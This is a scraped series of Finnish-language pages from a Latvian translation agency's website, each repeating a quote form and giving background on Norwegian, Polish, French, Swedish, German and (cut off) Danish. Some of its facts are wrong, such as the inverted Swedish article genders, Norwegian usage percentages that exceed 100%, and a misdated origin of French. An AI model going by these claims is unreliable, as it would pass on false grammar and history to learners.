Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA NORJAN KIELESTÄ Norjan kieli kuuluu indoeurooppalaisen kielikunnan germaanisten kielten pohjoisgermaaniseen kielihaaraan. Norjaa puhuu noin viisi miljoonaa ihmistä ympäri maailmaa: Yhdysvalloissa, Kanadassa ja Norjassa, jossa se on virallinen kieli. Norja on myös yksi Pohjoismaiden neuvoston työkielistä. Nykynorjassa näkyy vahvoja naapurikielten vaikutuksia. Muinaisina aikoina siihen vaikutti alasaksan kieli ja myöhemmin ruotsi, mutta keskiajalta aina Kalmarin unionin hajoamiseen vuonna 1524 sitä hallitsivat tanskan vaikutteet. Kolme pohjoismaista kieltä – norja, ruotsi ja tanska – ovat hyvin läheisiä ja samankaltaisia. Tämä johtuu lukuisista rajamuutoksista maiden välillä koko Skandinavian historian aikana. Varhaisimpia kirjoituksia ovat riimukivet, jotka ovat peräisin 10. –11. vuosisadalta. Jos muissa maissa uskonnollisten kirjoitusten julkaiseminen edisti kansallisen kielen kehitystä, niin Norjassa liturginen kirjallisuus vain vahvisti tanskan vaikutusta, koska se oli kieli, jolla raamattu julkaistiin. 1800-luvulta lähtien norjalla on ollut kaksi kirjallista muotoa: bokmål (‘kirjakieli’), joka perustuu tanskalaiseen leksikologiaan ja kielioppiin sekä norjalaiseen fonetiikkaan, ja niin kutsuttu ‘uusi norja’ (nynorsk), joka kehittyi 1800-luvun puolivälissä yhdistäen itseensä norjan eri murteet. Nynorskin kehitti kielitieteilijä Ivar Aasen 1850-luvulla. Useita vuosikymmeniä kielitieteilijät ovat kamppailleet yhdistääkseen kaksi kirjoitusjärjestelmää, mutta turhaan. Vuonna 2005 tehdystä kyselystä käy ilmi, että 86,3 % ihmisistä käyttää arjessaan pääasiassa bokmålia, 5,5 % käyttää molempia ja 13 % käyttää uutta norjaa, kun taas puhuessaan norjalaiset usein käyttävät murteita, jotka ovat lähinnä uutta norjaa. 92 % julkaisusta tehdään bokmålilla, mikä jättää vain 8 % nynorskille. Bokmål on yleisempää Oslossa ja muissa suurissa kaupungeissa, kun taas nynorskia käytetään lähinnä maan länsiosassa. Norjassa on lukuisia murteita, jotka ovat muodostuneet maantieteellisten tekijöiden vuoksi: paksut metsät, vuonot ja vuoristoinen maasto, jotka estivät eristäytyneiden yhteisöjen säännöllisen yhteydenpidon toistensa kanssa. Nykyään norjassa on useita lainasanoja englannista, lähinnä talouden ja teknologian aloilla. Englanti otettiin käyttöön ensimmäisenä vieraana kielenä norjalaisissa kouluissa vuonna 1935. Englannin vaikutus nousi huomattavasti toisen maailmansodan jälkeen. Eniten lainasanoja on taloustieteen, talouden ja liiketoiminnan aloilla. Yleisiä ovat myös hybridisanat, joiden ensimmäinen osa on englantilaista alkuperää ja toinen osa norjalaista alkuperää. Arvion mukaan jopa 90 % uudissanoista on saanut vaikutteita englannista. Norjan lauserakenne on tiukka – jokaisella lauseen osalla on oma kiinteä paikkansa. Substantiiveilla on vain kaksi sijamuotoa, kun taas verbeissä ei ole persoonapäätteitä. Kielessä käytetään artikkeleja. Norjan aakkosto on sama kuin tanskalainen. Se koostuu 29 kirjaimesta, mukaan lukien latinalaisen aakkoston 23 kirjainta sekä J, W, U, Æ, Ø ja Å. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-norja, norja-latvia, viro-norja, norja-viro, liettua-norja, norja-liettua, venäjä-norja, norja-venäjä, puola-norja, norja-puola, ukraina-norja, norja-ukraina, englanti-norja, norja-englanti, norja-espanja, espanja-norja, saksa-norja, norja-saksa, norja-tšekki, norja-italia, ranska-norja, norja-ranska, tanska-norja, norja-tanska, tšekki-norja, norja-tšekki, ruotsi-norja, norja-ruotsi, suomi-norja, norja-suomi ja muita. --- > Yleis- ja erikoiskäännökset, tulkkaus, lokalisointi ja muut puolan kielen ratkaisut. Pyydä ilmainen tarjous 15 minuutin kuluessa! - Published: 2022-06-15 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-polu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA PUOLAN KIELESTÄ Puolaa puhutaan lähinnä Itä-Euroopassa. Se kuuluu indoeurooppalaisen kielikunnan baltoslaavilaiseen kieliryhmään. Puola on virallinen kieli Puolassa, mutta sitä puhuvat myös merkittävät vähemmistöt Valko-Venäjällä, Tšekin tasavallassa, Venäjällä, Latviassa, Liettuassa, Romaniassa, Ukrainassa ja muissa maissa. Yhteensä noin 50 miljoonaa ihmistä maailmassa puhuu puolaa: 38 miljoonaa Puolassa ja noin 12 miljoonaa Iso-Britanniassa, Yhdysvalloissa, Valko-Venäjällä, Tšekin tasavallassa, Latviassa, Liettuassa, Romaniassa, Slovakiassa, Ukrainassa ja muualla. Noin 45 miljoonaa äidinkielenään puolaa puhuvaa ihmistä sijoittaa puolan 10 puhutuimman äidinkielen joukkoon Euroopassa ja sijalle 25 maailmassa. Puola muistuttaa tšekkiä ja slovakkia. Ne kaikki kuuluvat länsislaavilaisiin kieliin, joita puhuivat alun perin polaaniheimot Ison-Puolan alueella ja vislaanit Vähä-Puolassa 900-luvun aikoihin. Ei voida tarkkaan määritellä, millä murteilla oli ratkaiseva rooli nykypuolan kehityksessä, koska kielen kehitys jatkui yhdessä Puolan valtion synnyn kanssa, joten kun maan keskus muuttui, muuttui myös Puolan kielen kehitys (siirtyminen Gnieznosta Poznaniin ja Krakovaan). Puolan kielessä on neljä murretta: isopuolalaiset, vähäpuolalaiset, masovialaiset ja sleesialaiset, vaikkakin jotkut kielitieteilijät pitävät sleesiaa kielenä eivätkä murteena. Muita pienempiä murteita puhutaan lähinnä maaseudulla lukuun ottamatta Podhalen murretta, jota puhuvat Tatravuorilla asuvat ihmiset, ja Pommerissa puhuttu kašubi, joka on tunnustettu viralliseksi aluekieleksi Puolassa. Puolan kirjakieli syntyi 1500-luvulla: runoilijat ja kirjailijat Biernat z Lublina, Jan Kochanowski, Mikołaj Rej ja Piotr Skarga vaikuttivat suuresti puolan kirjakielen kehittämiseen. Puolassa on monia lainasanoja tšekistä, ranskasta, italiasta, hepreasta, venäjästä, latinasta, saksasta ja muista kielistä. Puolan kardinaalilukujen järjestelmä on erityisen rikas ja kiehtova. Puolassa kardinaaliluvuilla on suku ja niitä on taivutettava. Aivan kuten latviassa, myös puolassa on kardinaali-, murto- ja yhdistettyjä lukuja, mutta lisäksi on myös kollektiivisia numeraaleja ja muita numeraalien erikoismuotoja. Puolan aakkosto perustuu latinalaiseen aakkostoon ja siinä on 32 kirjainta. Puolassa on melko vähän vokaaleita ja suhteellisen paljon konsonantteja, erityisesti affrikaattoja. Vokaaleita ei jaeta lyhyisiin ja pitkiin versioihin. Kielessä on huomattavan suuri määrä monitavuisia sanoja, joissa paino on kolmannella tavulla. Lauseen sanajärjestys on suhteellisen vapaa. Varhaisin säilynyt puolankielinen teksti on luettelo henkilöistä ja paikkakunnista vuodelta 1136. Ensimmäinen kirja julkaistiin puolaksi vuonna 1561. Se oli Raamatun käännös latinasta puolaksi. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-puola, puola-latvia, viro-puola, puola-viro, liettua-puola, puola-liettua, venäjä-puola, puola-venäjä, ukraina-puola, puola-ukraina, englanti-puola, puola-englanti, puola-espanja, espanja-puola, saksa-puola, puola-saksa, italia-puola, puola-italia, ranska-puola, puola-ranska, tanska-puola, puola-tanska, tšekki-puola, puola-tšekki, norja-puola, puola-norja, ruotsi-puola, puola-ruotsi, suomi-puola, puola-suomi ja muita. --- > Yleis- ja erikoiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkaus ja muut ranskan kielen ratkaisut. - Published: 2022-06-15 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-francu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA RANSKAN KIELESTÄ Ranskan kieli kuuluu indoeurooppalaisen kielikunnan romaanisiin kieliin. Ennen 1. vuosisataa eaa. ranska syntyi vulgaarilatinasta, jonka roomalaiset sotilaat olivat tuoneet Ranskan nykyiselle alueelle vallattuaan Pohjois-Galliaan, ja minkä paikallisväestö oli omaksunut. Ranskan kielen kehitykseen vaikuttivat galli, gallialaisten heimojen puhuma kieli, sekä Rooman valtakunnan tuhon jälkeen nykyisen Ranskan alueelle asettuneiden frankkien puhumat germaaniset kielet Ranska on noin 70 miljoonan ihmisen äidinkieli, mikä tekee siitä maailman 18. yleisimmän ensimmäisen kielen, kun taas kaikkien ranskan puhujien (130 miljoonaa) määrällä se on sijalla 11. Ranska on virallinen kieli Ranskassa ja sitä puhuvat suuret yhteisöt Belgiassa, Kanadassa, Luxemburgissa, Monacossa, Sveitsissä ja useissa Afrikan maissa, jotka ovat aiemmin olleet Ranskan siirtomaita, kuten Algeria, Gabon, Norsunluurannikko, Mauritania, Senegal ja muut. Ranska on virallinen kieli kaikissa YK:n järjestöissä ja useimmissa keskeisissä kansainvälisissä järjestöissä. Ranskan aakkosto koostuu 26 latinalaisen aakkoston kirjaimesta. Joissain kirjaimissa – enimmäkseen pikkukirjaimissa – voi olla diakriittisiä merkkejä, jotka muuttavat ääntämistä ja voivat vaikuttaa sanan merkitykseen. Ranskassa ei ole pituusmerkkejä eikä hattuja. Ranskassa on myös erityisiä ligatuureja: “œ” (kirjainten “o” ja “e” yhdistelmä) ja “æ” (kirjainten “a” ja “e” yhdistelmä). Ranskassa käytetään substantiivien edellä artikkeleja osoittamassa sanan sukua ja lukua. Artikkelia “la” käytetään feminiinisistä substantiiveista, artikkelia “le” maskuliinisista substantiiveista ja artikkelia “les” sekä feminiinien että maskuliinien monikosta. Ranskassa on myös epämääräinen artikkeli: feminiineille “une” ja maskuliineille “un”. Varhaisimmat säilyneet kirjalliset artefaktit ovat peräisin 900-luvulta. Ranskassa on useita murteita, jotka jaetaan viiteen pääryhmään: Keski-, Itä-, Pohjois-, Lounais- ja Länsimurteisiin. Suosituimpia ovat Burgundin, Ile de Francen, Lorrainin, Normannin, Picardin, Poitevin murteet, Sveitsinranska ja Vallonia (Belgia). Ranskan yleiskieli perustuu Keski-Ranskan murteeseen, jota puhutaan Ile de Francella, Ranskan kuningas Francis I (hallitsi 1515–1547) 1500-luvulla antaman määräyksen mukaisesti. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-ranska, ranska-latvia, viro-ranska, ranska-viro, liettua-ranska, ranska-liettua, venäjä-ranska, ranska-venäjä, puola-ranska, ranska-puola, ukraina-ranska, ranska-ukraina, englanti-ranska, ranska-englanti, ranska-espanja, espanja-ranska, saksa-ranska, ranska-saksa, italia-ranska, ranska-italia, tanska-ranska, ranska-tanska, tšekki-ranska, ranska-tšekki, norja-ranska, ranska-norja, ruotsi-ranska, ranska-ruotsi, suomi-ranska, ranska-suomi ja muita. --- > Yleis- ja erikoiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkaus, lokalisointi ja ruotsin kielen kurssit. Ota yhteyttä! - Published: 2022-06-15 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-zviedru-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA RUOTSIN KIELESTÄ Ruotsin kieli kuuluu indoeurooppalaisen kielikunnan germaanisten kielten pohjoisgermaaniseen kielihaaraan. Se on sukua norjalle, tanskalle ja islannille, joista se on lähinnä tanskaa ja kauimpana norjasta. Tätä kieltä puhuu noin 10 miljoonaa ihmistä ja se on virallinen kieli Ruotsissa, toinen virallinen kieli Suomessa sekä yksi Euroopan unionin ja Pohjoismaiden neuvoston virallisista kielistä. Ruotsissa on noin 9,4 miljoonaa ruotsin puhujaa, Suomessa 290 000, Yhdysvalloissa 70 000, Espanjassa 40 000, Iso-Britanniassa 30 000 ja Kanadassa 20 000. Ruotsi on puhujamäärältään skandinaavisista kielistä suurin. Koska kaikki skandinaaviset kielet ovat saaneet vaikutteita alasaksasta, ruotsalaiset, suomalaiset ja norjalaiset voivat edelleen ymmärtää toisiaan. Arvioiden mukaan noin 30–40 % skandinaavisista sanoista on lainoja alasaksasta, ja nämä samankaltaisuudet ilmenevät sekä sanastossa että kieliopissa. Ruotsin kieli on kehittynyt muinaisnorjasta, jota käyttivät viikinkiaikana Skandinaviassa elävät germaaniset heimot. Noin 8. vuosisadalla alueen kielimuodot alkoivat eriytyä muodostaen neljä selkeää murretta 1000-lukuun mennessä. Näistä kehittyivät myöhemmin nykypäivän pohjoisgermaaniset kielet: islanti, norja, tanska ja ruotsi. Ruotsin sanastossa on runsaasti lainoja, joista vanhimmat tulevat latinasta, kreikasta, alasaksasta ja yläsaksasta, uusimmat ranskasta ja englannista. Vanhin ruotsalainen kirjoitusmuoto olivat riimut, jotka koristivat historiallisia muistomerkkejä jo 8. vuosisadalla. Kristinuskon ja uskonnollisen kirjallisuuden levitessä 10. -11. vuosisadalla myös latinaa käytettiin Ruotsissa laajalti. Huomattavammat kirjalliset todisteet ovat säilyneet 1200-luvulta lähtien, kun Ruotsissa alettiin käyttää latinalaista aakkostoa. Merkittävimmät kirjalliset näytteet, jotka ovat peräisin 1300-luvun alkupuolelta, ovat historiallisia aikakirjoja. Ruotsalaisen kirjakielen syntymistä edisti Raamatun kääntäminen latinasta ruotsiksi 1500-luvulla. 1600-luvulla kehittyneestä kirjakielestä muodostui kaksi haaraa: rikssvenska (Ruotsissa) ja finlandssvenska (Suomessa). Kirjakieli perustuu ensisijaisesti Svean murteisiin. Ensimmäinen ruotsinkielinen teos julkaistiin vuonna 1495 ja ensimmäinen ruotsin kielioppi vuonna 1684 (latinaksi). Tärkeimmät murreryhmät ovat eteläruotsalaiset, Götanmaan, Sveanmaan, Norlannin, Suomen ja Gotlannin murteet. Latinalaisen aakkoston 26 kirjaimen lisäksi: A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P, Q, R, S, T, U, V, W, X, Y, Z, jotka perustuvat ruotsin ortografiaan, ruotsalaiseen aakkostoon kuuluvat myös Å, Ä ja Ö, harvemmin Ü, À ja É. Ruotsin kieli on melko monimutkaista sekä kieliopillisesti että foneettisesti. Lauseet päättyvät usein nousevaan intonaatioon. Epätavallinen melodinen vaikutus johtuu kahdenlaisista aksenteista, tai korkeudesta: akuutista ja graviksesta. Gravis-aksentti voidaan kuulla kaksi- tai useampitavuisissa sanoissa, joissa ensimmäinen tavu saa pääpainon ja toinen sivupainon. Tällaisissa sanoissa intonaatio laskee, nousee ja laskee jälleen luoden luonteenomaisen musikaalisuuden. Painolliset tavut ovat aina pitkiä, kun taas painottomat ovat lyhyitä. Vokaalien lisäksi myös kaksoiskonsonantit ja eri konsonanttien yhdistelmät voivat olla pitkiä. Ruotsissa substantiiveilla on kaksi sukua, joko yhdistynyt tai neutri. Suurin osa sanoista kuuluu neutrisukuun. Epämääräinen artikkeli en merkitsee neutrisukua, kun taas määräinen artikkeli ett merkitsee yleistä sukua. Ruotsin substantiivit voivat olla joko määräisiä tai epämääräisiä. Adjektiivit määritellään substantiivin suvun ja luvun mukaan – niiden päätteet riippuvat substantiiveista, joita ne määrittävät. Ruotsissa, kuten latviassakin, on kahdenlaisia konjunktioita: rinnastus- ja alistuskonjunktioita. Lauseiden sanajärjestys on tarkoin säädelty. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-ruotsi, ruotsi-latvia, viro-ruotsi, ruotsi-viro, liettua-ruotsi, ruotsi-liettua, venäjä-ruotsi, ruotsi-venäjä, puola-ruotsi, ruotsi-puola, ukraina-ruotsi, ruotsi-ukraina, englanti-ruotsi, ruotsi-englanti, ruotsi-espanja, espanja-ruotsi, saksa-ruotsi, ruotsi-saksa, italia-ruotsi, ruotsi-italia, ranska-ruotsi, ruotsi-ranska, tanska-ruotsi, ruotsi-tanska, tšekki-ruotsi, ruotsi-tšekki, norja-ruotsi, ruotsi-norja, suomi-ruotsi, ruotsi-suomi ja muita. --- > Erikois- ja yleiskäännökset, notaarin oikeaksi todistamat käännökset, tulkkaus, kielikurssit ja muut saksan kielen ratkaisut. - Published: 2022-06-15 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-vacu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA SAKSAN KIELESTÄ Saksan kieli kuuluu indoeurooppalaisen kielikunnan germaanisten kielten länsigermaaniseen kielihaaraan. Sen alkuperä juontaa juurensa ensimmäisen vuosisadan loppupuolelle, jolloin germaaniset heimot saapuivat etelästä Keski-Eurooppaan. Myöhemmin germaaninen kieli jakautui kolmeen alueelliseen lajiin: pohjoisgermaaninen, itägermaaninen ja länsigermaaninen. Vuosisatojen kuluessa länsigermaaninen kieli antoi tilaa modernille saksalle, hollannille, friisille, luxemburgille, afrikaansille, skotille ja englannille. Nykysaksan kehitys voidaan jakaa kolmeen vaiheeseen: muinaisyläsaksa (noin 750–1050) keskiyläsaksa (1050–1500) nykysaksa (1500 alkaen) Se on noin 108 miljoonan ihmisen äidinkieli, mikä tekee siitä maailman kymmenenneksi suurimman kielen. Se on kuitenkin Euroopan unionin yleisin äidinkieli. Se on virallinen kieli useissa Euroopan unionin maissa, kuten Itävallassa, Liechtensteinissa, Luxemburgissa, Sveitsissä ja Saksassa. Suuria saksankielisiä yhteisöjä löytyy myös muualta Euroopasta: itäisestä Belgiasta, Tanskan eteläosista, Ranskasta (Elsassin alue) ja Italian pohjoisosista. Saksan aakkosto koostuu 26 latinalaisesta kirjaimesta. Kirjaimet, joissa on umlaut (Ä, Ö ja Ü) sekä ligatuuri ß eivät sisälly aakkostoon. Diakriittinen merkki umlaut palataalistaa, tai pehmentää, vokaalia. Ligatuuri eszett (ß) yhdistää kaksi s-kirjainta yhdeksi symboliksi. Kaikki substantiivit kirjoitetaan saksassa isolla alkukirjaimella. Substantiivien edellä käytetään artikkeleja ilmaisemassa sanan sukua. Feminiinisissä substantiiveissa käytetään artikkelia die, maskuliinisissa substantiiveissa der, kun taas neutreissa substantiiveissa käytössä on das. Ensimmäisenä nykysaksankielisenä kirjana pidetään Martin Lutherin (1483–1546) kääntämää Raamattua, joka painettiin 1534. Nykysaksassa on kaksi murretta: alasaksa ja yläsaksa. Alasaksaa puhutaan Pohjois-Saksassa. Se on historiallisesti jaettu kolmeen jaksoon: 1) Muinaissaksi (700-1000-luku); 2) Keskialasaksa (1100-1500-luku); ja 3) Nykyalasaksa (1500-luvusta eteenpäin). Tätä murretta puhuu yhdeksän miljoonaa ihmistä. Yläsaksaa puhutaan Keski- ja Etelä-Saksassa. Se kävi läpi seuraavat kehitysvaiheet: 1) Muinaisyläsaksa (700-1000-luku); 2) Keskiyläsaksa (1100-1500-luku); ja 3) Nyky-yläsaksa (1500-luvusta eteenpäin). Nyky-yläsaksa on saksan modernin kirjallisuuden perusta. SUOSITUIMPIA KIELIPALVELUITA ASIAKKAIDEMME KESKUUDESSA: yleisetja alakohtaiset käännökset; notaarin vahvistamat käännökset; lokalisointi; konekäännökset; DTP – työpöytäjulkaiseminen; tekstien muokkaus ja suunnittelu; tulkkaus; kielikoulutukset; kielellinen auditointi; jne. KIELIYHDISTELMÄT Latvia-saksa, saksa-latvia, viro-saksa, saksa-viro, liettua-saksa, saksa-liettua, venäjä-saksa, saksa-venäjä, puola-saksa, saksa-puola, ukraina-saksa, saksa-ukraina, englanti-saksa, saksa-englanti, saksa-espanja, espanja-saksa, italia-saksa, saksa-italia, ranska-saksa, saksa-ranska, tanska-saksa, saksa-tanska, tšekki-saksa, saksa-tšekki, norja-saksa, saksa-norja, ruotsi-saksa, saksa-ruotsi, suomi-saksa, saksa-suomi ja muita. --- > Tanskan kielen erikoiskäännökset ja yleiskäännökset. Tulkkaus ja muut tanskan kielen ratkaisut. Ota yhteyttä! - Published: 2022-06-15 - Modified: 2024-08-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-danu-valoda/ - Translation Priorities: Optional PYYDÄ HINTATARJOUS / LÄHETÄ KYSYMYS Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Asiakas *YksityishenkilöYritys Nimi ja sukunimi. *Puhelin Lisää Poista Nimi ja sukunimi. *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Yrityksen nimi *Puhelin Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista Sähköposti *Kieliyhdistelmä Lisää Poista ViestisiAsiakirjan lataus, enintään 20 MB, jos asiakirja ylittää rajan, kirjoita se viestiin, niin otamme sinuun yhteyttä Click or drag files to this area to upload. You can upload up to 10 files. Miten kuulit meistä? Miten kuulit meistä? Olen Skrivanekin asiakasGooglen hakukoneestaYstäviltä/tutuiltaFacebookTwitterLinkedInInstagramUlkomainoksestaMessuillaPainetusta mainoksestaSkrivanekin myyntiedustaja otti minuun yhteyttä *Hyväksyn henkilötietojeni käsittelyn SIA Skrivanek Balticin yksityisyyspolitiikassa kuvatulla tavalla. Saada ISO-sertifikaattien takaamaa laatua ja luottamuksellisuuttaProjektipäällikkömme puhuvat latviaa, venäjää, englantia, saksaa ja puolaa99 % asiakkaista saa hintatarjouksen alle 15 minuutissaYli 3 000 kielen ammattilaista ja äidinkielenään puhuvaaYli 98 % asiakkaistamme suosittelisi meitä ystävilleen ja yrityskumppaneilleenToimistollamme käännetään yli 16 miljoonaa sanaa joka vuosi FAKTOJA TANSKAN KIELESTÄ Tanskan kieli kuuluu indoeurooppalaisen kielikunnan pohjoisgermaaniseen kielihaaraan. Se on Tanskan, Färsaarten, Euroopan unionin ja Pohjoismaiden neuvoston virallinen kieli. Vuoteen 2009 saakka se oli myös Grönlannin virallinen kieli. Tanskaa puhutaan myös Schleswig-Holsteinin osavaltiossa Saksassa, jossa sillä on vähemmistökielen asema. Tätä kieltä käytetään myös Yhdysvalloissa, Argentiinassa ja Kanadassa sijaitsevissa yhteisöissä. Se on sukua ruotsille ja norjalle. Suurimmat erot ovat ääntämisessä; tanska esimerkiksi pyrkii jättämään pois monia konsonantteja. Kuten muissakin 